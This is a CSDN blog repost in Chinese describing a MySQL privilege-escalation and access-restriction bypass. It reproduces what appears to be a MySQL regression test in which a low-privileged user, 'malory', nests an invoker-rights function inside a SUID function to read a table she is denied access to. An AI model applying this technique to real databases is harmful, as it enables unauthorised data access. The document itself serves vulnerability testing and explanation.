mysql create table调用绕过访问限制漏洞_MySQL权限提升及安全限制绕过漏洞

本文详细介绍了如何通过创建特殊函数和表,利用MySQL的`create table`调用来绕过访问限制,实现权限提升。通过创建用户、赋予特定权限,然后创建一个看似无害但实际上允许恶意用户获取不应访问的数据的功能,展示了安全限制绕过的过程。
摘要由CSDN通过智能技术生成

--disable_warnings

drop database if exists MySQLtest1;

drop database if exists MySQLtest2;

drop function if exists f_suid;

--enable_warnings

# Prepare playground

create database MySQLtest1;

create database MySQLtest2;

create user malory@localhost;

grant all privileges on MySQLtest1.* to malory@localhost;

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return 0;

grant execute on function test.f_suid to malory@localhost;

use MySQLtest2;

# Create table in which malory@localhost will be interested but to which

# he won't have any access

create table t1 (i int);

connect (malcon, localhost, malory,,MySQLtest1);

# Correct malory@localhost don't have access to MySQLtest2.t1

--error ER_TABLEACCESS_DENIED_ERROR

select * from MySQLtest2.t1;

# Create function which will allow to exploit security hole

delimiter |;

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user();

set @b:= (select count(*) from MySQLtest2.t1);

return 0;

end|

delimiter ;|

# Again correct

--error ER_TABLEACCESS_DENIED_ERROR

select f_evil();

select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer, so malory@locahost gets all info that he wants

select test.f_suid(f_evil());

select @a, @b;

connection default;

drop user malory@localhost;

drop database MySQLtest1;

drop database MySQLtest2;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值